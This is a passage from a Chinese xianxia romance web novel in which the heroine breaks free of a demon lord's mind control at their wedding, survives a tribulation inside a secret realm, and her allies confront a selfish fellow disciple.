发生了什么她不知道的事情么? 为什么言朔的反应,有些不对? 只是一瞬,她就压下了所有的慌乱: 愈是危机,她反而愈发冷静。 只要到达应天台就够了,再之后发生什么,都与她无关。 她安静地看着前方,眼中带着被言朔控制之后的懵懂乖巧。 在到达应天台之前,她不能出错。 在言朔与许晚辞登上高台的那一瞬,漆黑的高台瞬间亮起,柔和的光晕之下,天地之契的书卷被灵气托举,静静地矗立在高台的中央。 天道之力,温柔地洒在了高台之上。 只要以神魂签下天地之契,两人的关系,就能得到天道承认,一荣俱荣,生死与共。 无论身在何处,他们都能得知对方的消息,得知对方平安与否。 言朔看了一眼身侧的许晚辞,牵着她来到了天地之契前。 礼成之后,无论她能不能恢复记忆,都不可能逃离他的身边。 应天台下,不少魔修都抬起头,见证着几百年来魔界第一个魔后的诞生。 江泽等人也抬起了头。 他们身体的灵气无声无息的凝聚于半步神器伏魔钵之上,千里之外,白舟以佛力控制着伏魔钵积蓄的灵气,面色变得愈发苍白。 以伏魔钵的威力,即使在魔界,也足以伤到魔尊言朔。 只是伤到,还远远不够,他们必须瞬间爆发出身上半座灵脉的灵气,以灵气轰炸,伤到所有的魔修包括魔尊,然后用最快的速度带走许晚辞。 即使他们拿出所有的底牌,成功的概率,也不足百分之一。 魔尊本就是如今当世最强,他们又身在魔界。 可他们别无选择。 哪怕只有百分之一的概率,他们也必须救下许晚辞。 四人抬头双眼紧盯着高台上两人的一举一动。 他们看着言朔在天地之契上,刻下了自己的神魂之息,再之后,许晚辞也对着天地之契伸出了手。 天地之契上只要刻下两人的神魂,那他们的关系就会得到天道承认,永不分离。 不能再等了! 江泽他们体内的灵气,已经凝聚到了极致,随时都有可能爆发,千里之外,白舟的神魂与灵气也都附着在了伏魔钵上。 可比他们更先动作的,是台上的许晚辞。 应天台上,在所有人或紧张或期待的目光中,许晚辞伸出的手,轻轻地落了下去。 言朔看着她的动作,心中涌上了不可控制的慌乱,他隐住所有的情绪,放轻声音诱哄道: “晚辞,是太累了么?” “没关系,只要你把神魂的气息留在上面,一切就结束了。” “我们就回家,好不好?” 在他关切的声音中,许晚辞并未回答。 她后退了一步,抬起头,眼中再不是被控制过后的乖巧,而是一片陌生,她声音很轻: “你不是他。” 这一句话,如同一阵清风,吹开了混沌之中几日来经久不散的迷雾。 天际之中,萧玉衍感受着胸口处陌生却又熟悉的跳动,安静的闭上了双眼,唇角扬起了一丝浅到可以忽略的弧度。 曾经落在心田的那粒种子,悄然生根。 喜与忧,皆因一人起。 虚无之中,清风徐来,蓝色渐染。 应天台下的江泽等人也听到了许晚辞的声音,他们积蓄灵气的动作戛然而止。 像是想到了什么,他们目光中带上了几分不可置信: 难道许晚辞之前将魔尊错认成了……仙尊??!! 所以才会答应大婚,所以才会出现在这里。 可是魔尊知晓么,若是知晓,以他的性格,怕是要杀了她才能泄愤吧? 应天台上,言朔看着许晚辞眼中的陌生与疏远,心脏瞬间跌入谷底: 他明明都已经接受了她混淆他与萧玉衍的事情,为什么她还不知足,还要发现不对呢? 他根本不想知道她究竟有没有恢复记忆,也不想从她口中听到任何言语。 他几乎是在许晚辞话音刚落的那一瞬间,将魔域加深到了极致,想控制着她签下天地之契。 可是这一次,许晚辞并没有同之前一般乖巧听话,她看着言朔猩红的双眸,心中却是从未有过的清明。 她感受着体内完全与丹田融合的天华参,又后退了一步。 这一次,她漠然地摘下了头上的发冠,声音是前所未有的坚决: “你不是他。” 她话音刚落,身上的气息,也蓦然暴涨,从元婴后期,直接来到了化神。 天际之中,雷云乍显。 她静立于雷云之中,带着雷霆之气的狂风将她的衣袍吹得猎猎作响,满头青丝随风飞舞,极致的危险之下,她的笑意却是在魔界从未有过的真实动人。 这是几千年来,第一次有修士在魔界渡劫。 修士渡劫的雷霆之气,直接将不远处的言朔逼退,让他再也无法接近许晚辞分毫。 这一刻,所有人都意识到了,许晚辞这是在求死。 魔界根本没有她渡劫需要的灵气,周围无孔不入的魔气,会在渡劫时如同灵气一般灌入她体内,这种痛楚,犹如有魔刀在凌迟她的身体。 更不用说在修仙界都难以熬过的雷劫。 在她决心渡劫的那一刻,结局就已经注定。 只能是……死。 言朔也意识到了许晚辞要做什么: 她宁愿死,也要离开他。 他不顾后果地让魔域侵入风暴的最中心,这一次,他只有一个命令: “停下来。” 看着依旧涌动的雷劫,他妥协道:“只要你停下来,大婚即刻废止。” 这一次,魔域依旧没有任何作用。 许晚辞感受着脑海中陌生却又熟悉的记忆,迟缓地眨了眨眼睛: 穿越之前与穿越之后的一切,她都记了起来。 以言朔的性格,她走错一步,可能就会命丧黄泉。 没有想到她失去记忆后,也是凭借着对清衍仙尊的‘深爱’,才找到了一线生机。 这样一看,萧玉衍大抵真是她命中注定的‘贵人’。 言朔看着许晚辞垂眸轻笑,仿佛欣然赴死一般的模样,心中忽然涌起了从未有过的慌乱。 雷劫之下,谁也无法逃脱。 他是真的会失去她。 他猩红的双眸中,满是疯狂以及……深埋于疯狂之中的悲伤。 雷劫之中的魔域,已经耗尽了他身上所有的魔气,就连体内的魔珠都已经近乎枯竭。 这样严重透支魔气带来的伤势,若是之前的许晚辞,早已经担心的扑了过来。 可是如今,她只是安静的站在雷云之中,看都没有看他一眼。 有些东西,失去后,才知道有多珍贵,才更想疯狂占有。 他一字一句道: “我可以成为他。” “只要你想,我可以成为第二个他。” 许晚辞抬头看向阴云密布的天际,魔界之中,依然没有蓝天,只有漆黑魔气与阴暗的雷云。 她任由自己被狂风卷席,被雷霆之气包围,任由自己没入死亡的怀抱之中。 她安详的闭上了双眼,声音温柔而决绝: “这个世界上,永远不会有第二个萧玉衍。” 化神期雷劫本就迅速,双倍雷劫更是来势汹汹,再加上许晚辞一心求死,根本没有留下哪怕一刻与言朔周旋的余地,只不过几句话的时间,雷劫已经完全汇聚,第一道雷劫,随时都有可能劈下。 应天台下的江泽等人看着高台上的现状,几乎是在一息间就做出了决定。 比起带许晚辞离开,如今最重要的是让她活下去。 他们必须尽量提供给她渡劫所需的灵气。 半个灵脉的灵气,被他们毫不犹豫的凝聚起来,只等汇聚完成,就会送到高台之上。 哪怕之后的他们,将要面对半个魔界的围攻,他们也未曾迟疑。 随着他们的动作,周边的魔修发现了不对,朝着他们汇聚而来。 应天台上。 许晚辞安然地闭着双眼,等待雷劫的那一瞬,便融化丹田中的天灵丹。 可是,没有天雷。 一阵清风,吹散了所有的雷云,也吹散了魔界那永远都暗沉的天空,浅浅的蓝色将许晚辞一点点环绕。 无尽的蓝色将天空渲染成了一片蓝海,蓝海之下,许晚辞的修为一点点凝实。 这是……天地异象! 只是魔界的灵气终究不够许晚辞成功晋升化神。 就在江泽等人一边艰难的在众多魔修手中求生,一边将凝聚的灵气抛到半空之中时,一阵所有人都未曾察觉到的空间波动悄然而至。 所有人都见到许晚辞进入了那几百年方才出现一次,只容一人进入的蕴灵秘境。 下一瞬,秘境消失在了众人眼前,只留下了一片死寂。 当天道对一个人有了偏爱,连既定的死局,也只会变成一个所有人求之不得的机缘。 第62章 这种感受……是动心 魔气与灵气, 从来互不相容。 许晚辞渡劫时产生的天地异象,带来大量灵气,席卷了应天台周围,修为略低的魔修被灵气侵蚀, 身上的魔气滋滋作响。 他们用尽自己的魔力抵抗, 身体也在天道之威的震慑下瑟瑟发抖, 可眼中却不由地带上了几分震撼: 这是魔界, 从未有过的天地异象。 他们的魔后, 原来这般厉害么?! 不对……还未完成仪式就消失的许晚辞, 还算是他们的魔后么? 众位魔修身前的七大魔将眼中也带着少有的震撼, 他们的修为仅次于魔尊,所以能抵抗住灵气的侵蚀。 他们一时没有反应过来,稍显怔愣地看着应天台上的场景: 即使他们在先前魔渊暴动时, 见过许晚辞那惊艳的一剑, 知晓她足够强大。 可是仍旧没有想到, 她居然能无视周围的限制,强大到在魔气丛生的魔界强行渡劫,还产生了修仙界中都难得一见的天地异象。 这种让人惊叹的强大与气运, 这般坚韧决绝的心性…… 难怪魔尊会为她破例,愿意与她共享魔界。 只是…… 回忆起许晚辞消失在秘境中的那一幕,他们像是想到了什么, 看向应天台上仅剩的那个身影时, 目光不由地带上了几分惊惧。 言朔根本没有在意任何人的目光, 他在秘境出现的那一刻,就已经用尽魔气制止, 在许晚辞消失后,更是透支自己的魔气, 搜寻了整个魔界。 他根本不在乎身上的伤势,魔气甚至已经疯狂的探寻到了修仙界的范围之中。 明明魔识已经被修仙界的灵气尽数腐蚀,可是他根本没有停下,依旧不顾一切的探查着许晚辞的存在。 一无所获。 言朔攥紧双手,却什么都握不住。 他双目猩红似血,周身的魔气不受控制的动荡开来,驱散了应天台上所有的灵气: 许晚辞怎么敢? 怎么敢为了萧玉衍,为了离开他,不顾性命的在魔界渡劫? 求死,她竟然敢在他面前求死! 他愤怒到了极点,却又不受控制地想起了曾经许晚辞看向他的目光: 没有陌生,没有疏远,更没有恐惧。 她总是笑盈盈地看着他,眼中从来都是全然的信任。 只要他出现,她的眼中就再也不会有其他人的存在。 她怎么可能对他……一点动心都没有? 言朔强行忽略掉这段时间中许晚辞异常的反应,抬起头,猩红的双眸中仿佛没有了一丝理智,只剩下了冰冷的杀意: 一定是修仙界这些人动了什么手脚,所以她才会离开他。 “杀了他们。” 他的魔气瞬间封锁了应天台的周围,声音冷得仿佛能将周围的一切瞬间冰冻: “不。” 他像是想到了什么,声音带着森冷的恶意:“留一个活口。” 他要用剩下这个人的性命,逼许晚辞再次回到他身边。 她不是连魔城中那些低贱魔民的性命都在意么? 想必这一个人的性命,也足够让她乖乖的回来。 江泽等人也如其他人一般,怔愣了一瞬。 他们见到了许晚辞在雷劫下面对死亡时的浅浅一笑,见到了她在天地异象中被蓝色包围时那悲伤的双眸。 也听到了她那句轻到极点,却又重如雷霆的话: ‘这个世界上,永远不会有第二个萧玉衍。’ 她曾在魔域的控制之下,将言朔当成了仙尊。 可在她清醒的那一刹那,就毫不犹豫的选择了离开,以那样惨烈的方式。 即使代价,是她的生命。 若不是雷劫被天地异象取代,若不是那几百年一现的蕴灵秘境……她只会消散在漫天雷劫之下,连神识都被湮灭。 江泽蓦然攥紧了双手: 他一直都知晓许晚辞深爱清衍仙尊,为了他几次出生入死,不惜放弃所有修士都趋之若鹜的至宝。 可是再一次见到她在危机之中,在魔尊的压迫之下平静赴死的决绝,他的心中依旧涌上了细微的酸涩。 他身边的季妄目光亦是同样的复杂: 他震撼与许晚辞深情与果决,欣喜于她能够成功脱身,却又会为她悲伤。 离开魔界后,她又要继续为了那一丝根本不存在的希望,耗尽一切,筋疲力竭直至死亡。 他敬重仙尊,却更希望许晚辞能开心。 大长老与三长老几乎见证了许晚辞为仙尊做的一切,他们最是清楚她对仙尊的情深不移,也知晓她宁愿挣扎着清醒也决不妥协的性格。 他们猜到许晚辞会以命相搏,只是没有猜到她的方法,会比他们想象的更加决绝。 看到许晚辞消失在秘境之中后,他们最先反应了过来,那半座灵脉凝成的灵珠,一半与天地异象中的灵气一同震慑腐蚀周围的魔修,让他们没有办法靠近。 另一半的灵气融入他们体内,让他们在魔界中,依旧能够运行灵力。 顾云绮看着在灵气震慑之下,依旧朝着他们攻击而来的魔修,手中的法阵直接将最近的几个魔修吞噬。 江泽与季妄也反应了过来,开始清理起了周围的魔修。 大长老感受着自己已经用了小半的灵气,声音严肃:“在魔尊的魔域之中,回清符无法使用。” “我们必须尽快离开应天台!” 他话音刚落,魔尊的结界就将应天台附近围了起来,魔气驱散了大半的灵气,周围魔修的动作霎时快了许多。 言朔直接对着他们下了杀令。 千里之外,佛子白舟透过江泽的双眼,看到了应天台上发生的一切。 看着许晚辞于雷劫中平静欣然的模样,他面色依旧,只是心中却发出了一声微不可查的轻叹: 无论何时,坚定如初的人,都值得敬佩。 看到许晚辞安全离开之后,他并未愣神,借着江泽的双眼,他动用身上带着佛息的灵气,一点点探寻着应天台周围的薄弱之处。 在言朔下令的那一瞬,他轻声开口: “只有足够的灵气与魔气相互碰撞爆发,才有可能破开魔尊的限制。” “这些魔修的魔气,不够。” 顾云绮一瞬间领会到了白舟的言下之意,她灵气扫过身边魔修的脖颈,声音狠厉: “那魔尊的魔气,总够了吧?” 白舟声音庄重: “魔尊魔气袭来的那一瞬,我会发动伏魔钵。” “动荡的那一瞬间,还请众位施主护住自身,撕碎符箓。” 顾云绮伸手擦掉唇角的血迹,看着应天台上居高临下,等着他们被魔修耗死的言朔,她拳上裹着灵气,一拳击中了身前魔修的心脏。 不就是让魔尊动手么,她擅长的很。 她声音肆意而嘲讽: “真没有想到,堂堂魔尊,竟然甘心做仙尊替身!” “怎么办呢,就算你学仙尊,许晚辞依旧不爱你,依旧会毫不犹豫的离开你。” “你能控制她又怎样,她对仙尊的爱,足以挣脱你的控制!” 言朔听着台下传来的声音,周身的魔气与杀意疯狂扩散,应天台上霎时布满了裂痕。 顾云绮看着暴怒的他,不管不顾地继续道:“许晚辞永?? 远都不会成为你的魔后,她爱的人,从来都只有……” 她的话还未说完,裹挟着魔尊威压的魔气就铺天盖地朝着他们袭来。 下一瞬,大长老手中的伏魔钵爆发出强大的佛息灵气,两道气息碰撞在一起,将周围数百里的范围都轰成了一片碎虚。 无数魔修的哀嚎声中,即使用灵气法器护体,依旧重伤的江泽等人,艰难的用灵气撕开了回清符,消失在了原地。 千里之外,白舟身上的白衣瞬间被鲜血染透,周身的修为也不断倒退。 从渡劫初期,倒退到了大乘后期,再到大乘中期。 五百年修为,毁于一旦。 他垂眸神色淡然: 在他强行出关时,就已经料到了今日。 不过百年修为罢了。 总归,结果也算圆满。 * 不知从何时开始,曾经万物皆为虚妄的萧玉衍,目光开始停留在了一个人身上。 他看着蕴灵秘境中被无数灵植环绕的许晚辞,混乱的心跳声,声声入耳。 她……不喜欢言朔。 她喜欢……他。 她在没有被控制时所有的表现,都是为了今日的离开。 以性命为赌注,放弃一切,决绝的不留一丝余地的离开。 这样强大而纯粹,坚韧而勇敢的灵魂。 萧玉衍缓缓覆上了自己的胸口: 平静无波的水面上,荡开了层层叠叠的涟漪。 这种感受,是疼惜,爱怜,欣喜。 是——心动。 先前就深埋于内心的种子,终于生根,根系深深埋于其中,只待破土。 一阵清风徐来,吹散了所有的阴霾,虚无之中,竟也有了一片无垠的蓝天。 萧玉衍伸出手,无数天道之力从他的的掌心涌现,温柔地落在了许晚辞身上。 在天道之力的加持下,整个秘境所有的灵植,带着无数浓厚的灵气,环绕在了她的周围,涌入了她的身体。 这样厚重的足以撑爆寻常化神修士的灵气,却并没有给她的身体造成任何负担。 许晚辞只感觉一阵阵的暖流在周身游走,她的修为轻而易举的突破了元婴,晋升到了化神。 有着天华参的帮助,双重化神之下,她一人的修为就已经等同于甚至超出了两位化神修士联合起来的修为。 秘境中的灵气在她修为稳定甚至进阶到化神中期后,仍未离去,而是轻柔地改造着她的天赋。 她本就顶尖的天赋,又有了些许精益。 许晚辞浓密的睫毛微不可查地颤动了一下: 是因为她有了天华参么? 还是因为她得到了太多楚青川的资源,所以承接了他一部分的气运? 也是。 若不是她气运非常,今日在应天台上,她早就在雷劫之下重伤濒危,然后神识逃离魔界,用天灵丹重塑身体。 那时,她大抵要重新从引气入体开始修炼,又怎么可能在秘境之中,安然无恙的晋升化神。 原来这就是楚青川有过的感受……逢凶化吉,机缘常伴。 感受着周围开始逐渐消退的灵气,不知为何,许晚辞忽然想起了应天台上言朔的话。 他想成为第二个……萧玉衍。 自私疯狂,想要控制她一切的言朔,怎么可能是萧玉衍呢? 她双手覆在胸口,叹息一般地开口: “修仙界中,永远都只有一个萧玉衍。” 那个她用谎言勾勒,帮助她一次又一次脱离困境,永远都独一无二的萧玉衍。 混沌之中。 听着许晚辞的声音,萧玉衍的抬起的手,无声地落了下去。 他眼中带着一丝茫然: 言朔不是他,可他真的就是他么? 没有记忆,甚至连情绪都浅薄至极的他—— 真的是她想要见到的人么? 他执着而专注的看着许晚辞,却从始至终都没有向前,他无声的后退一步,隐入了漫天虚无之中。 神明在认识到自己心动的那一刻,忧与惧,与爱一同生成。 秘境之中,许晚辞睁开了双眼。 身上大婚的冕服被她震碎,露出了身上浅蓝色的衣裙。 她看着周围被她洗劫一空,一株灵植都不复存在的秘境,下意识用灵气接住了周围四散飘零的灵植之种。 萧玉衍看着她一身浅蓝的模样,心中微动: 蓝色,很适合她。 随后,他才注意到了她掌心这些没什么用处的种子,指尖一丝天道之力轻飘飘落了下去。 秘境的角落中,一株仙阶玄云兰消无声息的显现,周围本已经干涸的灵气,也丝丝缕缕的回复开来。 虽然缓慢,但在空寂的秘境之中,格外明显。 许晚辞并未费力,就看到了不远处的玄云兰。 仙品玄云兰,服用之后,回复灵力的速度,会比之前快上一倍有余。 如今玄云兰在修仙界已然绝迹,不用说仙品,就连六七品的玄云兰,修仙界中都不复存在。 她看着这一株秘境之中仅剩的灵植,略一思索便猜到了它的作用。 大多数秘境中,都会有一个镇境之宝。 镇境之宝被毁,秘境也会随之一同消散。 江家用来渡劫的秘境,正是因为镇境之宝被楚青川吸干,所以才会在流传千年之后荒芜。 萧玉衍看着静静地站在原地,久久未曾动作的许晚辞,眼中似乎闪过了一丝困惑: 她是……不喜欢这个礼物么? 就在这时,许晚辞终于动了起来,只是她所去的方向,并非玄云兰的所在。 她来到一处看起来有些许灵气残余的土壤前,蹲下身,选出一粒种子,种在了这里。 许晚辞用手将种子埋了起来,然后起身向不远处看去,目光没有贪婪,反倒是带着一丝感激与无奈: 这可是她的救命恩境。 她总不能把这里吸干过后,拍拍屁股就离开了吧? 所幸,她对灵气十分敏感,能找到灵气最为充沛,最适合灵植生长的土壤。 她就这样一粒一粒地,播散手中的灵种。 天际中,萧玉衍的目光,由始至终,都在许晚辞身上。 看着她从未有一丝烦躁,安静而专注的寻找灵气丰沛的土壤。 他看着她一日未曾停歇,将手中的灵种都种在了合适的位置。 看着她侧脸带上了一丝脏污。 看着她种下手中所有的灵种之后,终于来到了玄云兰旁边。 许晚辞看着身前孤零零的玄云兰,伸出手,用空气中的灵气,捏了一株化雨昙,放在了它的身边。 洁白的兰花身边,静立着一株灵气捏成的,蓝的耀眼的化雨昙。 微风吹过,花朵随风摇曳。 许晚辞的声音带着一丝歉意: “你的伙伴们长大还需要一段时间,这段时间中,就让它陪着你吧。” 她一只手温柔地拂过玄云兰的花瓣: “谢谢你,救了我。” 这一次,她再也没有停留,转身离开了秘境。 她没有发现,有两粒种子,无声的落在了她的裙摆之上。 混沌之中。 萧玉衍看着秘境之中灵气塑造的那株灵植,心念一动。 下一瞬,浅蓝色的化雨昙,就来到了他的掌心,成为了万里虚无中唯一的亮色。 他感受着手中陌生却又让他心动的灵气,手中的天道之力不自觉的涌现,护住了这一株化雨昙。 在魔界之外,他见到了她的另一面。 她不希望一个秘境,因为她毁于一旦,所以宁愿放弃能引得修仙界震动的灵宝。 她希望这方救了她的秘境,能重回曾经的繁荣,所以一日之内,未曾停歇地种下了所有的灵种。 一个强大果决,却又温暖善良的许晚辞。 萧玉衍缓缓闭上双眼:心中的那粒种子,终于破土而出。 一叶嫩芽悄然生长,等待着神明情感的滋养。 曾经除许晚辞外,再无一人一物入眼的萧玉衍,第一次看向了蕴灵秘境。 天道之力平淡的扫过了秘境,其中被种下的灵植,瞬间生根发芽,长出了枝干。 这里,再次有了欣荣之象。 第63章 这是秘境的馈赠 修仙界中。 看着江泽等人重伤归来的模样, 众人虽然依旧面色凝重,但心中都松了一口气: 如此险境,能活着回来,就已经值得庆幸了。 谢听白作为周围医术最高的人, 在众人反应过来之前, 就来到了四人身边。 他们身上的伤势都极为相似, 一是灵力透支之伤, 二是魔气侵蚀之伤, 三是最后灵气与魔气碰撞造成的伤势, 也是身上最重的伤。 谢听白探查完他们的伤势后, 感受到身后众人担忧的目光,他拿出之前听到佛子对魔界四人的指点后就已经准备好的丹药,声音带着几分宽慰: “几位尊者的伤势虽重, 但好在并未伤及根源, 服下丹药调养月余, 就能无碍,不会对修行产生影响。” 大长老服下丹药,对着不远处的白舟行了一礼: “此行, 多亏佛子相助,若不然我等怕是已经陨落在了魔界。” 盘坐在地的白舟在灵宝的辅助下,已经调息好了伤势, 他周身灵气轻扫, 身上的血迹随着清风消散, 落入了不远处的众多灵植之中。 渡劫尊者带着佛息的鲜血,没有丝毫戾气, 悄然地滋养着周围的灵植与土地。 他站起身,一片被他鲜血润泽的落叶, 轻轻地飘落在了他的侧肩,他并未扫落,只是站在原地,声音平和: “大长老言重了。” “若不是许施主扰乱魔尊心智,魔尊擅用魔识身受重伤,怕是有伏魔钵也无济于事。” “如今危机已解,还望众位尊者安心休养。” 顾云绮咽下口中丹药,抬起头看向白舟,目光明艳张扬: “这点小伤算什么!佛子不必担忧。” 她一脸豪气万丈道:“想当年我听闻蚀魂密林中有落天石这等机缘,想也不想地去了一趟,当时半边身子都被魂气吞了,如今不还是好好的?” 宁孟澜在她身边,听得脸色一变: “三长老,您居然去过蚀魂密林?” 他知晓曾经的顾云绮为了机缘都快走火入魔,但是没有想到她居然敢一个人去蚀魂密林,还受此重伤都没有让宗门知晓。 顾云绮这才意识到宁孟澜还在身边,她干笑了两声: “其实伤的也没有那么重,我只是……适当夸张了一下。” “再说了,宗主你看我现在不是好好的么?” 经过顾云绮的打岔,周围紧绷着的氛围终于缓和了些许。 只是,知晓江泽等人伤势无碍后,另一件事情蓦然压上心头。 宁孟澜声音带着强忍的担忧: “也不知道晚辞现在情况如何了?” 虽然他们知道许晚辞进入了蕴灵秘境中渡劫,可是蕴灵秘境的位置向来千变万化,无从推测。 若是她脱离秘境的地点在修仙界还好,怕的是落点是在魔界。 那样,无异于羊入虎口。 这时,他身侧的通讯符忽然亮了起来。 太清宗五长老荣少知的声音响在众人耳畔: “宗主,我为晚辞卜算了一卦,此行大吉,宗主回宗门安然等候便可。” 太清宗中。 荣少知熄灭了通讯符。 他感受着丹田之中充盈的灵气,目光带着一丝困惑。 几日前,他江泽等人的魔界之行卜算了一卦,为此伤及丹田,只能留在宗门闭关休养。 今日他伤势未好,又强行卜算许晚辞如今的方位,他本已做好重伤的准备,却不想非但未曾受伤,反倒是之前丹田的伤势隐隐有好转的迹象。 想到这里,他轻笑着摇了摇头: 大抵许晚辞真是天眷之人吧。 所以为她卜卦的他,才能得天所馈。 另一边,听到荣少知的话,宁孟澜以及周围的众人,终于放下了心。 各大宗门世家在此耽误许久,需要处理这段时间的内务,没有时间专程去太清宗等候,于是纷纷告辞。 因果之事不能急于一时,既然许晚辞平安无事,那他们处理完宗门\族中事务,再去太清宗也不迟。 更何况,此行虽然他们并未倾尽一切,但也给与了不少帮助,说不定因果已在不知不觉中了结了一部分。 想到这里,众多尊者并未在意这次损失掉的灵宝,纷纷一脸和善的与太清宗众人告别。 江泽与季妄不想许晚辞见到他们重伤的模样,即使想见她,却也依旧选择了回自己的宗门\家族。 宁孟澜与众人寒暄过后,下意识地看向了站在一旁,目光平淡却又慈悲的佛子。 白舟的伤势,才是所有人中最重的那个。 他面色苍白,嘴唇没有一丝血色,周身的佛息也有了溢散之象,幸得他佛力深厚,所以才能牢牢压制。 他的伤势看起来好似比当年与魔尊交手之后,还要重上几分。 宁孟澜感受着白舟大乘中期的修为,面色越发愧疚: 佛子当年阻止了如日中天的魔尊侵占修仙界,亦有救世之德。 只是他对于他人所欠因果,从未胁恩,主动了结,修仙界中无人不敬佩他的品行。 有救世之德的他,是唯一不被仙尊因果所困的修士。 许晚辞的身份对于他而言,也与众生无异。 即便如此,佛子也没有拒绝太清宗的请求,伤势未好便强行出关,更是为此再受重伤。 两次伤势,怕是与他修行有碍。 此等恩情,重于泰山。 白舟一抬头,便看到了宁孟澜感激到泪眼婆娑的双眼,他目光依旧平静,只是含笑往他身前走了两步: “听闻太清宗有一汪明心泉,三十年一开,能修复暗伤,凝实修为。” “如今我伤势略重,不知可否借贵宗明心泉一用?” 宁孟澜闻言心中愈发感动: 千佛寺那么多灵宝,佛子哪里需要太清宗的明心泉? 这一听,便是佛子为了让他们了结今日因果、让他们安心,所以才会提出的能轻易完成的要求。 他强忍住心中的感激,声音坚定: “莫说是明心泉,就算佛子要用天地至宝,太清宗也会不顾一切为您寻来。” “劳烦佛子到太清宗小住一段时日,我这就开明心泉。” * 另一边,江秋宁并未与江泽一同回江家,而是来到了许晚辞被掳走的络龙城中。 几日前,她偶然得到了江三发来的消息: 仙尊神器的传言出现时,楚青川曾经先于所有人,来到了络龙城中。 只是不知为何,当日他便离开了这里。 江秋宁看着如今已经恢复热闹,人来人往的城池,目标明确的朝着许晚辞当日被魔尊掳走的地方走去。 她知道楚青川气运非常,从来不做无用功。 既然他来过却又离开了络龙城,说明当时他一定发现了什么。 一是他发现这里将要出世的,并非是仙尊神器。 可是这也说不通,能模仿仙尊威压的灵宝,绝非凡品,以他对机缘的执着,不会这么轻易放弃。 最大的可能,是他无意间,发现了一些危险。 一些大过城中机缘的危险。 比如说,魔界在络龙城中的动作。 江秋宁一步一步地来到了许晚辞被掳走的苍情树下,面色冷漠: 她不想这样怀疑在一起数年的楚青川。 可是理智却又告诉她,他不值得信任。 她知道楚青川手中有一方空间,能隔绝所有人的探查,来去无声。 她也知道,如何探测这方小天地是否来过这里。 江秋宁伸出右手,灵气在她手中凝聚成了一个浅白的灵珠,一圈圈涟漪随着灵珠荡漾开来。 所有的灵气,都绕开了一个地方。 她定定地看着那个方向,目光晦暗: 楚青川,当真来过这里。 所以,他即使知晓魔界在这里布下了天罗地网;即使知晓太清宗等人大概率会来此寻宝;即使这些人中有他的师尊,有帮助过他,救过他的许晚辞,他依旧没有提醒。 他就这样在发现魔界陷阱之后,悄无声息的离开了这里。 江秋宁缓缓闭上了双眼: 她第一次如此真切的发现,楚青川居然心狠如斯。 他今日能如此对太清宗宗主、如此对许晚辞,他日就能如此对她。 江秋宁睁开双眼,仿佛做了什么决定一般,转身步伐坚定的离开了这里。 * 太清宗中。 楚青川这段时日一直在蚀魂密林的外围,找到凝魂石的他,神识大涨,修为也来到了化神后期。 回到宗门后,他简单的向宁孟澜汇报了这段时间的现状。 看着宁孟澜繁忙的样子,他识趣告退,回到了若虚峰。 若虚阁前,一个长发束起一身劲装的背影站在那里,仿佛已经等候已久。 楚青川看着江秋宁通身英气,与之前温婉小意相差甚远的装扮,眼中有不悦一闪而过。 只是很快,他便隐住所有心思,扬起唇角,含笑向前走去。 江秋宁听到身后的脚步声,没有寒暄,只是转身声音清冷地问道: “你那日去了络龙城,发现了魔界的陷阱。” “对么?” 楚青川唇角的笑意蓦然僵硬,他不动声色地停住脚步,声音带着一丝受伤: “秋宁,你我许久未见,你见到我的第一句话,竟然是质问?” 江秋宁看着他仿佛对她痴情不已的目光,笑得嘲讽: 她已经见过了这世间最真挚的情爱,又如何会看不清楚青川眼中的深情,有多浅薄。 她轻声道: “原来你真的知晓。” 听到她笃定的声音,楚青川脸色蓦然阴沉了下来,他声音带着隐忍的怒气: “我察觉到了危险,所以离开,有什么不对?” 江秋宁唇角嘲讽的弧度一点点加深: “所以,你承认你明知危险,却依旧任由宁宗主与许晚辞等人冒险。” 楚青川听着她一针见血的话,仿佛被戳穿了一般,面色愠怒却又强装平静地解释: “以师尊等人的修为,根本不会有事。” “至于许晚辞——她若是对至宝无意,自然也会平安。” “想要机缘,自然应该承担相应的后果,与我何干?” 江秋宁平静地看着楚青川,此时,无论他的话听起来有多荒唐,她心中依旧没有什么波动。 早在无相神石之时,她就已经隐隐意识到了他温文有礼之下的狠绝。 只是相识数年,那时的她,终究对他抱有一线希望。 江秋宁一字一句道:“是许晚辞助你找到了无极之火,补全了千丹变的下册,让你能够没有困扰的进阶。” “上古战场中,是她耗尽神识翻开了炼神书,才救下了你和众多太清宗弟子的性命。” “你气运非常,不必在意寻常因果,无需还恩。”她咬着牙,声音控诉,“可是那是许晚辞。” “帮过你,救过你的许晚辞!” “你为什么连一句提醒都不给她留下?” 楚青川的目光冷漠,他对许晚辞所有的情愫,都在她一次次抢夺他机缘时消散。 他声音带着抑制不住的恶意:“秋宁,你难道看不到么,许晚辞出现后,我错过了多少机缘?” “须臾芥子,无相神石,只要有她在,我就永远晚她一步,得不到那些至宝!” 说到这里,他平复了心绪,一脸淡漠道: “你也说了,我气运非常。” “你怎么知道没有她,我就得不到无极之火;你怎么知道没有她,我就不能从上古战场安然而归?” “若不是她,说不定那日在上古战场大放异彩的人,是我。” 江秋宁听着他没有丝毫愧疚,甚至恩将仇报的话,心中一片冰冷。 她没有与他争执,只是轻声道: “如果有一天,我阻碍了你,你也会毫不犹豫的对我动手,对么?” 楚青川不可置信地看着她: “怎么可能?” “这么多年来,我从未伤害过你分毫!” “那是因为我从来没有想过和你争。”江秋宁嘲讽道,“你告诉我。” “当日你看到许晚辞将墨霜圣兰送与我做歉礼时,想的是什么?” 楚青川脸色一僵,他一挥手道: “但是我没有动手!” 江秋宁揭开了他伪善的面具:“你看,你也知道你对墨霜圣兰动心了。” “你未曾动手,那是因为江家少主这个身份带给你的,会比一株已经融入我体内的墨霜圣兰多得多。” 她看着楚青川脸上气急败坏的神情,后退了两步: “道不同,不相为谋。” 转身时,江秋宁看着站在不远处的身影,目光带着一丝错愕: “宁宗主?” 楚青川蓦的转头,神色带着强忍的惊恐:“师……师尊!” 宁孟澜古井无波的看着他,目光没有了之前的亲近,看起来疏远而冷漠: 在灵脉一事上,他已经察觉到了楚青川的自私。 只是机缘一事,有所私心也未尝不能理解。 他没有想到,楚青川居然心狠如斯。 只是一句提醒,居然都不愿给。 太清宗真的能做到事事都顺着他,不让他嫉恨么? 若是他无意间做了什么让他仇恨之事,怕是结局,会比许晚辞更加惨烈。 就在他想说些什么时,忽然感觉到了宗门入口处那熟悉的灵气波动。 他一脸惊喜的转身,再也顾不上楚青川,运转灵气朝着宗门处飞去。 江秋宁看着宁孟澜的动作,心中一动,也毫不犹豫的跟了上去。 * 